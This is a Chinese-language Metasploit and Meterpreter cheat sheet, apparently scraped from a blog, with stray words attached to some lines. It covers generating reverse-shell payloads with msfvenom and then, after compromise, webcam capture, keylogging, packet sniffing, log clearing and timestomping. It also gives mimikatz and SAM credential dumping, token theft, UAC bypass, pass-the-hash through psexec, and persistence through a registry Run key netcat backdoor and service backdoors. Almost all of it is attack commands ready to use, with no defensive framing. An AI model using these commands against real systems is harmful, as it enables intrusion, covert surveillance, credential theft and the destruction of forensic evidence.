Windows: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路徑 Linux: msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f elf > 保存路徑
1 Options: 2 -p, --payload <payload> 指定須要使用的payload(攻擊荷載)。若是須要使用自定義的payload,請使用'-'或者stdin指定 3 -l, --list [module_type] 列出指定模塊的全部可用資源. 模塊類型包括: payloads, encoders, nops, all 4 -n, --nopsled <length> 爲payload預先指定一個NOP滑動長度 5 -f, --format <format> 指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表) 6 -e, --encoder [encoder] 指定須要使用的encoder(編碼器) 7 -a, --arch <architecture> 指定payload的目標架構 8 --platform <platform> 指定payload的目標平臺 9 -s, --space <length> 設定有效攻擊荷載的最大長度 10 -b, --bad-chars <list> 設定規避字符集,好比: '\x00\xff' 11 -i, --iterations <count> 指定payload的編碼次數 12 -c, --add-code <path> 指定一個附加的win32 shellcode文件 13 -x, --template <path> 指定一個自定義的可執行文件做爲模板 14 -k, --keep 保護模板程序的動做,注入的payload做爲一個新的進程運行 15 --payload-options 列舉payload的標準選項 16 -o, --out <path> 保存payload 17 -v, --var-name <name> 指定一個自定義的變量,以肯定輸出格式 18 --shellest 最小化生成payload 19 -h, --help 查看幫助選項 20 --help-formats 查看msf支持的輸出格式列表
sessions #sessions –h 查看幫助 sessions -i <ID值> #進入會話 -k 殺死會話 background #將當前會話放置後臺 run #執行已有的模塊,輸入run後按兩下tab,列出已有的腳本 info #查看已有模塊信息 getuid # 查看權限 getpid # 獲取當前進程的pid sysinfo # 查看目標機系統信息 ps # 查看當前活躍進程 kill <PID值> 殺死進程 idletime #查看目標機閒置時間 reboot / shutdown #重啓/關機 shell #進入目標機cmd shell
uictl [enable/disable] [keyboard/mouse/all] #開啓或禁止鍵盤/鼠標 uictl disable mouse #禁用鼠標 uictl disable keyboard #禁用鍵盤
webcam_list #查看攝像頭 webcam_snap #經過攝像頭拍照 webcam_stream #經過攝像頭開啓視頻
execute #在目標機中執行文件 execute -H -i -f cmd.exe # 建立新進程cmd.exe,-H不可見,-i交互
getpid # 獲取當前進程的pid ps # 查看當前活躍進程 migrate <pid值> #將Meterpreter會話移植到指定pid值進程中 kill <pid值> #殺死進程
clearav #清除windows中的應用程序日誌、系統日誌、安全日誌
getwd 或者pwd # 查看當前工做目錄 ls cd search -f *pass* # 搜索文件 -h查看幫助 cat c:\\lltest\\lltestpasswd.txt # 查看文件內容 upload /tmp/hack.txt C:\\lltest # 上傳文件到目標機上 download c:\\lltest\\lltestpasswd.txt /tmp/ # 下載文件到本機上 edit c:\\1.txt #編輯或建立文件 沒有的話,會新建文件 rm C:\\lltest\\hack.txt mkdir lltest2 #只能在當前目錄下建立文件夾 rmdir lltest2 #只能刪除當前目錄下文件夾 getlwd 或者 lpwd #操做攻擊者主機 查看當前目錄 lcd /tmp #操做攻擊者主機 切換目錄
timestomp C:// -h #查看幫助 timestomp -v C://2.txt #查看時間戳 timestomp C://2.txt -f C://1.txt #將1.txt的時間戳複製給2.txt
ipconfig/ifconfig netstat –ano arp getproxy #查看代理信息 route #查看路由
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #將目標機的3389端口轉發到本地6666端口
run autoroute –h #查看幫助 run autoroute -s 192.168.159.0/24 #添加到目標環境網絡 run autoroute –p #查看添加的路由
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 #掃描192.168.1.0/24這個網段 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.144 PORTS=3389 #檢測192.168.1.144是否開啓3389端口
autoroute添加完路由後,還能夠利用msf自帶的sock4a模塊進行Socks4a代理 msf> use auxiliary/server/socks4a msf > set srvhost 127.0.0.1 msf > set srvport 1080 msf > run
而後vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080 最後proxychains 使用Socks4a代理訪
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
run post/windows/gather/checkvm #是否虛擬機 run post/linux/gather/checkvm #是否虛擬機 run post/windows/gather/forensics/enum_drives #查看分區 run post/windows/gather/enum_applications #獲取安裝軟件信息 run post/windows/gather/dumplinks #獲取最近的文件操做 run post/windows/gather/enum_ie #獲取IE緩存 run post/windows/gather/enum_chrome #獲取Chrome緩存 run post/windows/gather/enum_patches #補丁信息 run post/windows/gather/enum_domain #查找域控
getsystem
getsystem工做原理:
getsystem建立一個新的Windows服務,設置爲SYSTEM運行,當它啓動時鏈接到一個命名管道。
getsystem產生一個進程,它建立一個命名管道並等待來自該服務的鏈接。
Windows服務已啓動,致使與命名管道創建鏈接。
該進程接收鏈接並調用ImpersonateNamedPipeClient,從而爲SYSTEM用戶建立模擬令牌。
而後用新收集的SYSTEM模擬令牌產生cmd.exe,而且咱們有一個SYSTEM特權進程。linux
內置多個pypassuac腳本,原理有所不一樣,使用方法相似,運行後返回一個新的會話,須要再次執行getsystem獲取系統權限,如:web
use exploit/windows/local/bypassuac use exploit/windows/local/bypassuac_injection use windows/local/bypassuac_vbs use windows/local/ask
msf > use exploit/windows/local/bypassuac msf > set SESSION 2 msf > run
可先利用enum_patches模塊 收集補丁信息,而後查找可用的exploits進行提權chrome
meterpreter > run post/windows/gather/enum_patches #查看補丁信息 msf > use exploit/windows/local/ms13_053_schlamperei msf > set SESSION 2 msf > exploit
load mimikatz #help mimikatz 查看幫助 wdigest #獲取Wdigest密碼 mimikatz_command -f samdump::hashes #執行mimikatz原始命令 mimikatz_command -f sekurlsa::searchPasswords
enumdesktops #查看可用的桌面 getdesktop #獲取當前meterpreter 關聯的桌面 set_desktop #設置meterpreter關聯的桌面 -h查看幫助 screenshot #截屏 use espia #或者使用espia模塊截屏 而後輸入screengrab run vnc #使用vnc遠程桌面鏈接
run getgui –h #查看幫助 run getgui -e #開啓遠程桌面 run getgui -u lltest2 -p 123456 #添加用戶 run getgui -f 6661 –e #3389端口轉發到6661
getgui 系統不推薦,推薦使用run post/windows/manage/enable_rdp
getgui添加用戶時,有時雖然能夠成功添加用戶,可是沒有權限經過遠程桌面登錄
run post/windows/manage/enable_rdp #開啓遠程桌面 run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用戶 run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #將3389端口轉發到6662
腳本位於/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
經過enable_rdp.rb腳本可知:開啓rdp是經過reg修改註冊表;添加用戶是調用cmd.exe 經過net user添加;端口轉發是利用的portfwd命令shell
keyscan_start #開始鍵盤記錄 keyscan_dump #導出記錄數據 keyscan_stop #結束鍵盤記錄
use sniffer sniffer_interfaces #查看網卡 sniffer_start 2 #選擇網卡 開始抓包 sniffer_stats 2 #查看狀態 sniffer_dump 2 /tmp/lltest.pcap #導出pcap數據包 sniffer_stop 2 #中止抓包
reg –h -d 註冊表中值的數據. -k 註冊表鍵路徑 -v 註冊表鍵名稱 enumkey 枚舉可得到的鍵 setval 設置鍵值 queryval 查詢鍵值數據
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上傳nc reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚舉run下的key reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #設置鍵值 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看鍵值 nc -v 192.168.159.144 443 #攻擊者鏈接nc後門
use incognito #help incognito 查看幫助 list_tokens -u #查看可用的token impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token 或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加單引號 需使用\\ execute -f cmd.exe -i –t # -t 使用假冒的token 執行 或者直接shell rev2self #返回原始token
steal_token <pid值> #從指定進程中竊取token 先ps drop_token #刪除竊取的token
run post/windows/gather/smart_hashdump #從SAM導出密碼哈希 #須要SYSTEM權限
經過smart_hashdump獲取用戶哈希後,能夠利用psexec模塊進行哈希傳遞攻擊
前提條件:①開啓445端口 smb服務;②開啓admin$共享windows
msf > use exploit/windows/smb/psexec msf > set payload windows/meterpreter/reverse_tcp msf > set LHOST 192.168.159.134 msf > set LPORT 443 msf > set RHOST 192.168.159.144 msf >set SMBUser Administrator msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c msf >set SMBDomain WORKGROUP #域用戶須要設置SMBDomain msf >exploit
在C:\Users***\AppData\Local\Temp\目錄下,上傳一個vbs腳本
在註冊表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入開機啓動項緩存
run persistence –h #查看幫助 run persistence -X -i 5 -p 6661 -r 192.168.159.134 #-X指定啓動的方式爲開機自啓動,-i反向鏈接的時間間隔(5s) –r 指定攻擊者的ip
msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp msf > set LHOST 192.168.159.134 msf > set LPORT 6661 msf > exploit
在C:\Users***\AppData\Local\Temp\上傳了三個文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),經過服務啓動,服務名爲meterpreter安全
run metsvc –h # 查看幫助 run metsvc –A #自動安裝後門
msf > use exploit/multi/handler msf > set payload windows/metsvc_bind_tcp msf > set RHOST 192.168.159.144 msf > set LPORT 31337 msf > exploit